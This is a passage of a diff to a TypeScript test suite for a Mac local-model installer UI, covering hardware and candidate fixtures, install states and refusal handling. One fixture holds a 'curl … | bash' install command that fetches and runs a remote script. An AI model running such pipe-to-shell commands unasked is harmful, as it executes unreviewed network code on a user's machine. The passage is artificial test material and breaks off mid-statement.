a classic-script global, and the module mixes into its prototype. Timers are a queue the + * test runs by hand (`tick`), so the once-a-second poll is counted, never waited for. */ -function mount(options: { i18n?: boolean; before?: string } = {}) { - const dom = new JSDOM(PAGE, { runScripts: 'outside-only', url: 'http://localhost/' }); +function mount(options: { i18n?: boolean; visible?: boolean } = {}) { + const dom = new JSDOM(PAGE, { + runScripts: 'outside-only', + url: 'http://localhost/', + pretendToBeVisual: options.visible !== false, + }); open.push(dom); const context = dom.getInternalVMContext(); + const timers: Array<{ id: number; fn: () => void; ms: number }> = []; + let nextTimer = 1; + const win = dom.window as unknown as { + setTimeout: (fn: () => void, ms: number) => number; + clearTimeout: (id: number) => void; + CodemanI18n: I18nApi; + __codemanUser?: { multiUser: boolean; role: string }; + }; + win.setTimeout = (fn, ms) => { + timers.push({ id: nextTimer, fn, ms }); + return nextTimer++; + }; + win.clearTimeout = (id) => { + const at = timers.findIndex((timer) => timer.id === id); + if (at >= 0) timers.splice(at, 1); + }; if (options.i18n) vm.runInContext(I18N, context, { filename: 'i18n.js' }); - if (options.before) vm.runInContext(options.before, context); vm.runInContext('function CodemanApp() {}', context); vm.runInContext(MODULE, context, { filename: 'local-model-ui.js' }); const document = dom.window.document; - const newApp = (response?: ApiResponse | (() => Promise<ApiResponse>)) => { + const newApp = (handler?: ApiResponse | ApiHandler) => { const app = vm.runInContext('new CodemanApp()', context) as App; - app._api = vi.fn(async () => (typeof response === 'function' ? response() : (response ?? null))); + app._api = vi.fn(async (path: string, opts: ApiOptions = {}) => + typeof handler === 'function' ? handler(path, opts) : (handler ?? null) + ); return app; }; return { dom, + win, document, newApp, - card: document.getElementById('localModelCard')!, + timers, + /** Run every timer that is due now (the poll re-arms itself, so one call is one tick). */ + tick: async () => { + for (const timer of timers.splice(0)) timer.fn(); + await settle(); + }, + button: document.getElementById('welcomeLocalModelBtn')!, row: document.getElementById('localModelSettings')!, + rowButton: document.getElementById('localModelSettingsOpen')!, group: document.getElementById('localModelGroup')!, - i18n: (dom.window as unknown as { CodemanI18n: I18nApi }).CodemanI18n, + modal: document.getElementById('localModelModal')!, + body: document.getElementById('localModelWindowBody')!, }; } -/** Text of every element with that class under a root, in document order. */ -function texts(root: Element, selector: string): string[] { +type Mounted = ReturnType<typeof mount>; + +/** Text of every element matching a selector under a root, in document order. */ +function texts(root: ParentNode, selector: string): string[] { return [...root.querySelectorAll(selector)].map((el) => el.textContent ?? ''); } -/** Lets a queued MutationObserver callback (a microtask in JSDOM) run. */ +/** The window's buttons, by their label. */ +function buttons(body: Element): string[] { + return texts(body, '.lm-buttons button'); +} + +function press(body: Element, label: string) { + const found = [...body.querySelectorAll<HTMLButtonElement>('.lm-buttons button')].find( + (el) => el.textContent === label + ); + expect(found, `no button "${label}" among ${JSON.stringify(buttons(body))}`).toBeTruthy(); + found!.click(); +} + +/** Lets queued promise callbacks and MutationObserver callbacks run. */ const settle = () => new Promise((done) => setTimeout(done, 0)); +/** The calls that were not the GET, as `[method, path, body]`. */ +function verbs(app: App): Array<[string, string, unknown]> { + return app._api.mock.calls + .filter(([, opts]) => opts && (opts as ApiOptions).method && (opts as ApiOptions).method !== 'GET') + .map(([path, opts]) => [(opts as ApiOptions).method as string, path as string, (opts as ApiOptions).body]); +} + +const gets = (app: App) => app._api.mock.calls.filter(([, opts]) => !(opts as ApiOptions | undefined)?.method).length; + // ---------- Fixtures (the contract's types) ---------- -/** The MacBook of the probe: 48 GB as sold. The candidates below give it an unknown speed, as for a chip in no chips row. */ +/** The MacBook of the measurements: 48 GB as sold. */ const HARDWARE: HardwareFacts = { platform: 'darwin', arch: 'arm64', @@ -152,235 +236,384 @@ const HARDWARE: HardwareFacts = { macosVersion: '27.2', macosMajor: 27, wiredLimitMb: 0, - freeDiskBytes: 912308310016, - freeDiskGb: '912', + freeDiskBytes: 897000000000, + freeDiskGb: '897', source: 'sysctl', }; +const RUNTIME_BYTES = 185971671; + +const OPENCODE: CandidateHarness = { + cli: 'opencode', + cliLabel: 'OpenCode', + installed: false, + installCommand: 'curl -fsSL https://opencode.ai/install | bash', +}; +const CLAUDE: CandidateHarness = { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true }; + function candidate(over: Partial<Candidate> = {}): Candidate { - return { - modelId: 'qwen3.8:27b', - modelLabel: 'Qwen3.8 27B', + const row: Candidate = { + modelId: 'qwen3.6:35b-a3b', + modelLabel: 'Qwen3.6 35B-A3B', license: 'Apache-2.0', - paramsB: 27.8, + paramsB: 35, context: 131072, cli: 'opencode', cliLabel: 'OpenCode', - cliInstalled: true, - needBytes: 29551160064, - needGb: '29.6', - downloadBytes: 17740000000, - downloadGb: '17.7', - budgetShare: 0.79, - fit: 'good', - fitLabel: LOCAL_MODEL_LABELS.fitGood, - speed: 'unknown', - speedLabel: LOCAL_MODEL_LABELS.speedUnknown, - tested: false, + cliInstalled: false, + needBytes: 35955462956, + needGb: '36.0', + downloadBytes: 23105798956, + downloadGb: '23.1', + budgetShare: 0.957, + fit: 'tight', + fitLabel: LOCAL_MODEL_LABELS.fitTight, + speed: 'ok', + tokensPerSecond: 67.7, + tested: true, + needSource: 'measured', + tag: { kind: 'tested', label: LOCAL_MODEL_TAG_LABELS.tested }, + harnesses: [OPENCODE, CLAUDE], + installBytes: 23105798956 + RUNTIME_BYTES, + installGb: '23.3', + ...over, + }; + return row; +} + +const PICK = candidate(); +const ALT_SLOW = candidate({ + modelId: 'qwen3.8:27b', + modelLabel: 'Qwen3.8 27B', + paramsB: 27.8, + needGb: '30.6', + downloadBytes: 17741871939, + downloadGb: '17.7', + budgetShare: 0.814, + fit: 'good', + fitLabel: LOCAL_MODEL_LABELS.fitGood, + speed: 'slow', + speedLabel: LOCAL_MODEL_LABELS.speedSlow, + tokensPerSecond: 9.1, + tested: false, + needSource: 'estimated', + tag: { kind: 'slow', label: LOCAL_MODEL_TAG_LABELS.slow }, + harnesses: [OPENCODE], + installBytes: 17741871939 + RUNTIME_BYTES, + installGb: '17.9', +}); +const ALT_UNKNOWN = candidate({ + modelId: 'gpt-oss:20b', + modelLabel: 'GPT-OSS 20B', + paramsB: 20, + needGb: '26.6', + downloadBytes: 13793441427, + downloadGb: '13.8', + budgetShare: 0.709, + fit: 'good', + fitLabel: LOCAL_MODEL_LABELS.fitGood, + speed: 'unknown', + speedLabel: LOCAL_MODEL_LABELS.speedUnknown, + tokensPerSecond: undefined, + tested: false, + needSource: 'estimated', + tag: undefined, + installBytes: 13793441427 + RUNTIME_BYTES, + installGb: '14.0', +}); +const ALT_SMALL_Q8 = candidate({ + modelId: 'qwen3.5:9b-q8_0', + modelLabel: 'Qwen3.5 9B (Q8)', + paramsB: 9, + context: 65536, + needGb: '20.9', + downloadBytes: 10449217949, + downloadGb: '10.4', + budgetShare: 0.555, + fit: 'good', + fitLabel: LOCAL_MODEL_LABELS.fitGood, + tokensPerSecond: 17.8, + tested: false, + needSource: 'estimated', + tag: { kind: 'small', label: LOCAL_MODEL_TAG_LABELS.small }, + installBytes: 10449217949 + RUNTIME_BYTES, + installGb: '10.6', +}); +const ALT_SMALL = candidate({ + modelId: 'qwen3.5:9b', + modelLabel: 'Qwen3.5 9B', + paramsB: 9, + context: 65536, + needGb: '17.0', + downloadBytes: 6550825373, + downloadGb: '6.6', + budgetShare: 0.452, + fit: 'good', + fitLabel: LOCAL_MODEL_LABELS.fitGood, + tokensPerSecond: 28.6, + tested: false, + needSource: 'estimated', + tag: { kind: 'small', label: LOCAL_MODEL_TAG_LABELS.small }, + installBytes: 6550825373 + RUNTIME_BYTES, + installGb: '6.7', +}); + +const RUNTIME_MISSING = { + version: '0.40.15', + installed: false, + downloadBytes: RUNTIME_BYTES, + downloadGb: '0.2', + unpackedGb: '0.6', +}; +const RUNTIME_THERE = { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }; +const FOLDER = '/Users/sam/.codeman/local-model'; + +function install(over: Partial<LocalModelInstallView> = {}): LocalModelInstallView { + return { + state: 'idle', + running: false, + developerTools: 'present', + runtime: RUNTIME_MISSING, + folder: FOLDER, + actions: ['install'], ...over, }; } -const ALT_SLOW = candidate({ - modelId: 'qwen3.8:27b-q8_0', - modelLabel: 'Qwen3.8 27B Q8', - context: 65536, - needGb: '36.4', - downloadGb: '30.0', - budgetShare: 0.97, - fit: 'tight', - fitLabel: LOCAL_MODEL_LABELS.fitTight, - speed: 'slow', - speedLabel: LOCAL_MODEL_LABELS.speedSlow, - tokensPerSecond: 5.2, -}); +/** The members a job carries from `installing` on. */ +const JOB: Partial<LocalModelInstallView> = { + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: 131072, + port: 11435, + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + runtime: RUNTIME_THERE, +}; -const ALT_FAST = candidate({ - modelId: 'qwen3.6:35b-a3b', - modelLabel: 'Qwen3.6 35B-A3B', - needGb: '26.4', - downloadGb: '22.6', - budgetShare: 0.7, - speed: 'ok', - speedLabel: undefined, - tokensPerSecond: 41.7, -}); - -function status(recommendation: Partial<Recommendation>, hardware: Partial<HardwareFacts> = {}): LocalModelStatus { +function status( + recommendation: Partial<Recommendation> = {}, + installOver: Partial<LocalModelInstallView> = {}, + hardware: Partial<HardwareFacts> = {} +): LocalModelStatus { return { hardware: { ...HARDWARE, ...hardware }, recommendation: { verdict: 'ok', - headline: { text: LOCAL_MODEL_LABELS.headlineOk }, + headline: { text: LOCAL_MODEL_LABELS.headlineTested }, notes: [], - alternatives: [], + pick: PICK, + alternatives: [ALT_SLOW, ALT_UNKNOWN, ALT_SMALL_Q8, ALT_SMALL], budgetBytes: 37580963840, budgetGb: '37.6', budgetSource: 'estimated', ...recommendation, }, catalogUpdated: '2026-11-06', + install: install(installOver), }; } -const OK_STATUS = status({ - notes: [{ text: LOCAL_MODEL_LABELS.noteUntested }], - pick: candidate(), - alternatives: [ALT_FAST, ALT_SLOW], -}); +const IDLE = status(); -const LIMITED_STATUS = status( +const PROGRESS = { + completedBytes: 6238565718, + totalBytes: 23105798956, + completedGb: '6.2', + totalGb: '23.1', + bytesPerSecond: 58000000, + mbPerSecond: '58', + secondsLeft: 291, +}; + +const INSTALLING = status({}, { ...JOB, state: 'installing', step: 'model', actions: ['cancel'], progress: PROGRESS }); +const PAUSED = status( + {}, { - verdict: 'limited', - headline: { text: LOCAL_MODEL_LABELS.headlineLimited }, - notes: [{ text: LOCAL_MODEL_LABELS.noteUntested }], - pick: candidate({ - modelId: 'qwen3.5:9b', - modelLabel: 'Qwen3.5 9B', - paramsB: 9.7, - context: 65536, - needGb: '10.9', - downloadGb: '6.6', - budgetShare: 0.87, - fit: 'tight', - fitLabel: LOCAL_MODEL_LABELS.fitTight, - speed: 'ok', - speedLabel: undefined, - tokensPerSecond: 11.16, - }), - budgetGb: '12.5', - }, - { memGb: '19.3', memClassGb: 18, chip: 'Apple M4' } + ...JOB, + state: 'paused', + step: 'model', + actions: ['resume', 'install', 'remove'], + progress: { completedBytes: 6238565718, totalBytes: 23105798956, completedGb: '6.2', totalGb: '23.1' }, + } ); +const INSTALLED = status( + { budgetBytes: 40157944217, budgetGb: '40.2', budgetSource: 'measured' }, + { + ...JOB, + state: 'installed', + running: true, + endpointId: 'local-ollama', + loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true }, + actions: ['start-session', 'stop', 'remove'], + } +); +const STOPPED = status( + {}, + { + ...JOB, + state: 'installed', + running: false, + endpointId: 'local-ollama', + loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true }, + actions: ['start', 'remove'], + } +); + +/** A stopped job with one error code, its sentence and its helpful action from the contract's tables. */ +function failed(code: LocalModelErrorCode, vars: Record<string, string> = {}, extra: Record<string, unknown> = {}) { + return status( + {}, + { + ...JOB, + state: 'failed', + step: 'verify', + actions: ['resume', 'install', 'remove'], + error: { + code, + message: { text: LOCAL_MODEL_ERROR_LABELS[code], ...(Object.keys(vars).length ? { vars } : {}) }, + next: LOCAL_MODEL_ERROR_NEXT[code], + ...extra, + }, + } + ); +} /** A `none` answer: no pick, the reason's sentence as headline, its slots in `vars`. */ function none(reason: NoneReason, vars?: Record<string, string>, hardware: Partial<HardwareFacts> = {}) { const headline: LocalModelMessage = { text: LOCAL_MODEL_NONE_LABELS[reason], ...(vars ? { vars } : {}) }; - return status({ verdict: 'none', reason, headline, budgetBytes: 0, budgetGb: '0.0' }, hardware); + return status( + { verdict: 'none', reason, headline, pick: undefined, alternatives: [], budgetBytes: 0, budgetGb: '0.0' }, + { actions: [] }, + hardware + ); } -/** A `none` answer whose headline is one of the other sentences of its reason. */ -function noneWith( - reason: NoneReason, - text: LocalModelMessage['text'], - vars?: Record<string, string>, - hardware: Partial<HardwareFacts> = {} -) { - const answer = none(reason, undefined, hardware); - answer.recommendation.headline = { text, ...(vars ? { vars } : {}) }; - return answer; +/** + * Load an answer and open the window on it. The GET answers with the current status, and a verb + * that succeeds moves that status the way the server does: its answer is the `install` object + * every later GET carries. + */ +async function opened(page: Mounted, first: LocalModelStatus, verb?: ApiHandler) { + let current = first; + const app = page.newApp(async (path, opts) => { + if (!opts.method || opts.method === 'GET') return ok(current); + const answer = verb ? await verb(path, opts) : null; + if (answer?.ok) { + const body = (await answer.json()) as { data?: LocalModelInstallView }; + if (body.data && typeof body.data.state === 'string') current = { ...current, install: body.data }; + } + return answer; + }); + await app.loadLocalModel(); + app.openLocalModelWindow(); + await settle(); + return { + app, + /** What the server answers from now on. */ + serve: (next: LocalModelStatus) => { + current = next; + }, + }; } -const NONE_CASES: Array<{ reason: Exclude<NoneReason, 'not-macos'>; answer: LocalModelStatus; sentence: string }> = [ - { - reason: 'intel', - answer: none('intel', undefined, { arch: 'x64', arm64: false, chip: 'Intel(R) Core(TM) i7-9750H' }), - sentence: 'This Mac has an Intel processor. Local coding models need Apple silicon.', - }, - { - reason: 'memory', - answer: none('memory', { memory: '8' }, { memGb: '8.6', memClassGb: 8 }), - sentence: - 'This Mac has 8 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', - }, - { - reason: 'disk', - answer: none('disk', { download: '17.7', reserve: '10.7', free: '12.0', missing: '16.4' }, { freeDiskGb: '12.0' }), - sentence: - 'Not enough free disk space. The smallest model that fits this Mac is a 17.7 GB download, and 10.7 GB must stay free after it. 12.0 GB is free now. Free up about 16.4 GB.', - }, - { - reason: 'macos', - answer: none('macos', { version: '13.6', minimum: '14' }, { macosVersion: '13.6', macosMajor: 13 }), - sentence: 'This Mac runs macOS 13.6. Local models need macOS 14 or newer.', - }, - { - reason: 'no-harness', - answer: none('no-harness'), - sentence: 'No coding agent that Codeman can connect to a local model is available on this Mac.', - }, -]; - // ---------- The page ---------- describe('the markup the module fills', () => { - it('ships the card hidden on the welcome screen and one read-only group in Settings > Models', () => { - const card = REAL_DOCUMENT.getElementById('localModelCard')!; + it('ships one hidden button among the welcome launchers, and no card', () => { + const button = REAL_DOCUMENT.getElementById('welcomeLocalModelBtn')!; + expect(button.hidden).toBe(true); + expect(button.tagName).toBe('BUTTON'); + expect(button.getAttribute('type')).toBe('button'); + // The chip family of the launchers, and never inside the slot renderWelcomeCliActions empties. + expect(button.classList.contains('welcome-chip')).toBe(true); + expect(button.parentElement?.classList.contains('welcome-actions')).toBe(true); + expect(button.closest('#welcomeCliActions')).toBeNull(); + const order = [...button.parentElement!.children].map((el) => el.id); + expect(order.indexOf('welcomeLocalModelBtn')).toBeGreaterThan(order.indexOf('welcomeCliActions')); + expect(order.indexOf('welcomeLocalModelBtn')).toBeLessThan(order.indexOf('welcomeTunnelBtn')); + expect(button.getAttribute('onclick')).toBe('app.openLocalModelWindow()'); + expect(button.hasAttribute('data-i18n-skip')).toBe(true); + // The read-only card of the first version is gone, with its styles. + expect(REAL_DOCUMENT.getElementById('localModelCard')).toBeNull(); + for (const css of [STYLES, MOBILE]) expect(css).not.toContain('.local-model-card'); + // The phone overview is a different screen and does not carry the button. + expect(button.closest('#mobileOverview')).toBeNull(); + // `.welcome-chip` is inline-flex: without this rule `hidden` would not hide it. + expect(STYLES).toMatch(/\.welcome-local-model\[hidden\]\s*\{\s*display:\s*none;/); + }); + + it('ships the window as a dialog in App Settings chrome, after App Settings', () => { + const modal = REAL_DOCUMENT.getElementById('localModelModal')!; + expect(modal.classList.contains('modal')).toBe(true); + expect(modal.classList.contains('active')).toBe(false); + expect(modal.getAttribute('role')).toBe('dialog'); + expect(modal.getAttribute('aria-modal')).toBe('true'); + expect(modal.getAttribute('aria-labelledby')).toBe('localModelModalTitle'); + expect(REAL_DOCUMENT.getElementById('localModelModalTitle')!.textContent).toBe('Run a model on this Mac'); + expect(modal.querySelector('.modal-backdrop')!.getAttribute('onclick')).toBe('app.closeLocalModelWindow()'); + expect(modal.querySelector('.modal-header .modal-close')!.getAttribute('onclick')).toBe( + 'app.closeLocalModelWindow()' + ); + const body = REAL_DOCUMENT.getElementById('localModelWindowBody')!; + expect(body.hasAttribute('data-i18n-skip')).toBe(true); + expect(body.textContent).toBe(''); + // Later in the document than App Settings, so it stacks above it when opened from there. + const settings = REAL_DOCUMENT.getElementById('appSettingsModal')!; + expect(settings.compareDocumentPosition(modal) & REAL.window.Node.DOCUMENT_POSITION_FOLLOWING).toBeTruthy(); + }); + + it('ships one row with a button in Settings > Models', () => { const row = REAL_DOCUMENT.getElementById('localModelSettings')!; const group = REAL_DOCUMENT.getElementById('localModelGroup')!; - expect(card.hidden).toBe(true); - expect(card.closest('#welcomeOverlay .welcome-content')).not.toBeNull(); - expect(card.hasAttribute('data-i18n-skip')).toBe(true); - // A direct child of the column (no wrapper that would hold a margin open while the card is - // hidden), under the Resume list and above the sessions opened outside Codeman. - const order = [...REAL_DOCUMENT.querySelector('.welcome-content')!.children].map((el) => el.id || el.className); - expect(order.indexOf('localModelCard')).toBeGreaterThan(order.indexOf('historySessions')); - expect(order.indexOf('localModelCard')).toBeLessThan(order.indexOf('welcome-foreign')); - // The phone overview is a different screen and does not carry the card. - expect(card.closest('#mobileOverview')).toBeNull(); - expect(group.closest('#appSettingsModal #settings-models')).not.toBeNull(); - // Its own group: the endpoints toggle hides #customModelEndpointsBody, and this answer does not depend on it. + // Its own group: the endpoints toggle hides #customModelEndpointsBody, and this does not depend on it. expect(row.closest('#customModelEndpointsBody')).toBeNull(); - expect(row.closest('#customModelEndpointsGroup')).toBeNull(); expect(row.closest('.set-row')).not.toBeNull(); expect(row.hasAttribute('data-i18n-skip')).toBe(true); - // Read-only: no control of any kind in the group. - expect(group.querySelectorAll('input, select, button, textarea').length).toBe(0); + const controls = [...group.querySelectorAll('input, select, button, textarea')]; + expect(controls.map((el) => el.id)).toEqual(['localModelSettingsOpen']); + expect(controls[0].getAttribute('onclick')).toBe('app.openLocalModelWindow()'); + expect(group.querySelector('.set-group-hint')!.textContent).not.toMatch(/read-only/i); expect(INDEX.split('<script defer src="local-model-ui.js"></script>').length - 1).toBe(1); }); it('is what every other test here runs on', () => { - const { card, row, group } = mount(); - expect(card.outerHTML).toBe(CARD_MARKUP); + const { button, group, modal } = mount(); + expect(button.outerHTML).toBe(BUTTON_MARKUP); expect(group.outerHTML).toBe(GROUP_MARKUP); - expect(row.textContent).toBe(''); + expect(modal.outerHTML).toBe(MODAL_MARKUP); }); - it('is wired into the two places that show it', () => { + it('is wired into the places that show it, and Escape closes the window alone', () => { const read = (file: string) => readFileSync(resolve(PUBLIC, file), 'utf8'); // The welcome screen (not the phone overview branch above it) and App Settings. expect(read('terminal-ui.js').split('this.loadLocalModel?.();').length - 1).toBe(1); expect(read('settings-ui.js').split('this.loadLocalModel?.();').length - 1).toBe(1); + // The window can sit on App Settings: its Escape is claimed before every panel is closed. + const app = read('app.js'); + const claim = app.indexOf('if (this.isLocalModelWindowOpen?.()) {'); + expect(claim).toBeGreaterThan(-1); + expect(app.slice(claim, claim + 120)).toContain('this.closeLocalModelWindow();\n return;'); + expect(claim).toBeLessThan(app.indexOf('this.closeAllPanels();', claim)); }); }); describe('before there is an answer', () => { - it('keeps the card and the Settings group hidden while the first request is in flight', async () => { - const { newApp, card, row, group } = mount(); + it('keeps the button and the Settings group hidden while the first request is in flight', async () => { + const { newApp, button, row, group } = mount(); let answer!: (response: ApiResponse) => void; const app = newApp(() => new Promise<ApiResponse>((done) => (answer = done))); const loading = app.loadLocalModel(); - expect(card.hidden).toBe(true); - expect(card.textContent).toBe(''); - // Nothing says yet that the server is a Mac, so no group titled "Model on this Mac" and no - // sentence about "this Mac" either: on most servers both would be false. + expect(button.hidden).toBe(true); + // Nothing says yet that the server is a Mac, so no group titled "Model on this Mac". expect(group.style.display).toBe('none'); expect(row.textContent).toBe(''); - answer(ok(OK_STATUS)); + answer(ok(IDLE)); await loading; - expect(card.hidden).toBe(false); + expect(button.hidden).toBe(false); expect(group.style.display).toBe(''); - expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); - }); - - it('keeps an answer on screen, group included, while it is refreshed', async () => { - const { dom, newApp, row, group } = mount(); - let now = 1_000_000; - (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; - let answer!: (response: ApiResponse) => void; - const answers: Array<() => Promise<ApiResponse>> = [ - async () => ok(OK_STATUS), - () => new Promise<ApiResponse>((done) => (answer = done)), - ]; - const app = newApp(() => (answers.shift() as () => Promise<ApiResponse>)()); - await app.loadLocalModel(); - now += 61_000; - const refreshing = app.loadLocalModel(); - expect(group.style.display).toBe(''); - expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); - answer(ok(OK_STATUS)); - await refreshing; + expect(texts(row, '.set-row-label')).toEqual(['No model installed']); }); it.each([ @@ -390,630 +623,1547 @@ describe('before there is an answer', () => { ['the body is not JSON', { ok: true, status: 200, json: async () => Promise.reject(new Error('bad')) }], ['the data carries no recommendation', ok({ hardware: HARDWARE })], ] as Array<[string, ApiResponse]>)('shows a failed request only in Settings: %s', async (_name, response) => { - const { newApp, card, row, group } = mount(); + const { newApp, button, row, rowButton, group } = mount(); const app = newApp(response); await app.loadLocalModel(); - // Nothing is known about the machine, so the welcome screen gets no card at all. - expect(card.hidden).toBe(true); + // Nothing is known about the machine, so the welcome screen gets no button, and the row no way in. + expect(button.hidden).toBe(true); expect(group.style.display).toBe(''); expect(row.textContent).toBe('Could not reach the server.'); + expect(rowButton.hidden).toBe(true); + app.openLocalModelWindow(); + expect(app.isLocalModelWindowOpen()).toBe(true); }); - it('asks again the next time it is shown after a failure', async () => { - const { newApp, card, row } = mount(); - const answers: ApiResponse[] = [null, ok(OK_STATUS)]; + it('asks again the next time it is shown after a failure, and keeps an answer while it is refreshed', async () => { + const { win, newApp, button, row } = mount(); + let now = 1_000_000; + (win as unknown as { Date: DateConstructor }).Date.now = () => now; + const answers: ApiResponse[] = [null, ok(IDLE), null]; const app = newApp(async () => answers.shift() ?? null); await app.loadLocalModel(); expect(row.textContent).toBe('Could not reach the server.'); await app.loadLocalModel(); expect(app._api).toHaveBeenCalledTimes(2); - expect(card.hidden).toBe(false); - expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + expect(button.hidden).toBe(false); + // Fresh for a minute: no request. Then a failed refresh keeps the answer on screen. + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(2); + now += 61_000; + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(3); + expect(button.hidden).toBe(false); + expect(texts(row, '.set-row-label')).toEqual(['No model installed']); }); }); describe('a refused request (a non-admin in multi-user mode)', () => { - it('shows neither the card nor the Settings group, and stops asking', async () => { - const { newApp, card, row, group } = mount(); + it('shows neither the button nor the Settings group, opens no window, and stops asking', async () => { + const { newApp, button, row, group, modal } = mount(); const app = newApp(refusal(403, 'FORBIDDEN')); await app.loadLocalModel(); - expect(card.hidden).toBe(true); + expect(button.hidden).toBe(true); expect(group.style.display).toBe('none'); expect(row.textContent).toBe(''); await app.loadLocalModel(); expect(app._api).toHaveBeenCalledTimes(1); + app.openLocalModelWindow(); + expect(modal.classList.contains('active')).toBe(false); + }); + + it('does not ask at all when the page already knows the user is not an admin', async () => { + const { win, newApp, button, group } = mount(); + win.__codemanUser = { multiUser: true, role: 'user' }; + const app = newApp(ok(IDLE)); + await app.loadLocalModel(); + expect(app._api).not.toHaveBeenCalled(); + expect(button.hidden).toBe(true); + expect(group.style.display).toBe('none'); }); it('does not take another 403 for a refusal: an admin who must change the password is asked again', async () => { // The auth layer answers 403 PASSWORD_CHANGE_REQUIRED for every /api route until the // password is changed, and the dialog that changes it closes without a reload. - const { dom, document, newApp, card, row, group } = mount(); - const win = dom.window as unknown as { __codemanUser?: { multiUser: boolean; role: string } }; + const { dom, win, document, newApp, button, row, group } = mount(); win.__codemanUser = { multiUser: true, role: 'admin' }; - const answers: ApiResponse[] = [refusal(403, 'PASSWORD_CHANGE_REQUIRED'), ok(OK_STATUS)]; + const answers: ApiResponse[] = [refusal(403, 'PASSWORD_CHANGE_REQUIRED'), ok(IDLE)]; const app = newApp(async () => answers.shift() ?? null); await app.loadLocalModel(); - expect(app._api).toHaveBeenCalledTimes(1); - expect(card.hidden).toBe(true); + expect(button.hidden).toBe(true); // A failed request, not a refusal: the group stays, with the failure sentence. expect(group.style.display).toBe(''); expect(row.textContent).toBe('Could not reach the server.'); - // The password was changed: admin-ui.js announces the user again. document.dispatchEvent(new dom.window.CustomEvent('codeman:me')); - await vi.waitFor(() => expect(card.hidden).toBe(false)); + await vi.waitFor(() => expect(button.hidden).toBe(false)); expect(app._api).toHaveBeenCalledTimes(2); - expect(group.style.display).toBe(''); - expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); }); - it.each([ - ['a 403 without a body', { ok: false, status: 403, json: async () => Promise.reject(new Error('no body')) }], - ['a 403 with another error code', refusal(403, 'SOMETHING_ELSE')], - ] as Array<[string, ApiResponse]>)('keeps asking after %s', async (_name, response) => { - const { newApp, group } = mount(); - const app = newApp(response); - await app.loadLocalModel(); - await app.loadLocalModel(); - expect(app._api).toHaveBeenCalledTimes(2); - expect(group.style.display).toBe(''); - }); - - it('does not ask at all once the page knows the role, and asks when the role turns out to be admin', async () => { - const { dom, document, newApp, card, group } = mount(); - const win = dom.window as unknown as { __codemanUser?: { multiUser: boolean; role: string } }; - win.__codemanUser = { multiUser: true, role: 'user' }; - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - expect(app._api).not.toHaveBeenCalled(); - expect(group.style.display).toBe('none'); - expect(card.hidden).toBe(true); - - win.__codemanUser = { multiUser: true, role: 'admin' }; - document.dispatchEvent(new dom.window.CustomEvent('codeman:me')); - await vi.waitFor(() => expect(card.hidden).toBe(false)); - expect(app._api).toHaveBeenCalledTimes(1); - expect(group.style.display).toBe(''); + it('closes an open window when the routes start refusing', async () => { + const page = mount(); + const { app } = await opened(page, IDLE); + expect(page.modal.classList.contains('active')).toBe(true); + app._api.mockImplementation(async () => refusal(403, 'FORBIDDEN')); + await app.loadLocalModel({ force: true }); + expect(page.modal.classList.contains('active')).toBe(false); + expect(page.button.hidden).toBe(true); }); }); describe('a server that is not a Mac', () => { - const LINUX = none('not-macos', undefined, { - platform: 'linux', - arch: 'x64', - arm64: undefined, - chip: 'AMD Ryzen 9 7950X', - source: 'not-probed', - }); - - it('shows neither the card nor the Settings group: nothing there is about this server', async () => { - const { newApp, card, row, group } = mount(); - await newApp(ok(LINUX)).loadLocalModel(); - expect(card.hidden).toBe(true); - expect(card.textContent).toBe(''); - // A group titled "Model on this Mac", about "the Mac that Codeman runs on", on a Linux - // server: hidden, the same lever as a refused request. + it('shows no button and no Settings group', async () => { + const { newApp, button, row, group, modal } = mount(); + const app = newApp(ok(none('not-macos', undefined, { platform: 'linux', arch: 'x64', chip: 'AMD EPYC' }))); + await app.loadLocalModel(); + expect(button.hidden).toBe(true); expect(group.style.display).toBe('none'); expect(row.textContent).toBe(''); - }); - - it('never shows the group at any point of the load, and keeps it away on a refresh', async () => { - const { dom, newApp, group, row } = mount(); - let now = 1_000_000; - (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; - const seen: string[] = []; - const app = newApp(async () => { - seen.push(group.style.display); - return ok(LINUX); - }); - const first = app.loadLocalModel(); - seen.push(group.style.display); - await first; - now += 61_000; - const second = app.loadLocalModel(); - seen.push(group.style.display); - await second; - seen.push(group.style.display); - expect(app._api).toHaveBeenCalledTimes(2); - expect(seen).toEqual(['none', 'none', 'none', 'none', 'none']); - expect(row.textContent).toBe(''); + expect(modal.classList.contains('active')).toBe(false); }); }); -describe('verdict none on a Mac', () => { - it.each(NONE_CASES)('says why for $reason, with the numbers the server sent', async ({ answer, sentence }) => { - const { newApp, card, row } = mount(); - await newApp(ok(answer)).loadLocalModel(); - expect(card.hidden).toBe(false); - for (const root of [card, row]) { - expect(texts(root, '.local-model-headline')).toEqual([sentence]); - expect(texts(root, '.local-model-hw')).toHaveLength(1); - expect(root.querySelector('.local-model-pick')).toBeNull(); - expect(root.querySelector('.local-model-alts')).toBeNull(); - // Nothing to set up, so no line about setting it up. - expect(root.textContent).not.toContain(NEXT_STEP); - expect(root.textContent).not.toContain('Recommended'); +describe('the welcome button', () => { + it('offers to run a local model until one is installed, then names it', async () => { + const { newApp, button, document } = mount(); + let current = IDLE; + const app = newApp(() => ok(current)); + await app.loadLocalModel(); + expect(button.hidden).toBe(false); + expect(document.getElementById('welcomeLocalModelLabel')!.textContent).toBe('Run a local model'); + // The icon of the markup stays: only the label is written. + expect(button.querySelector('svg')).not.toBeNull(); + for (const busy of [INSTALLING, PAUSED, failed('load-failed', { model: 'Qwen3.6 35B-A3B' })]) { + current = busy; + await 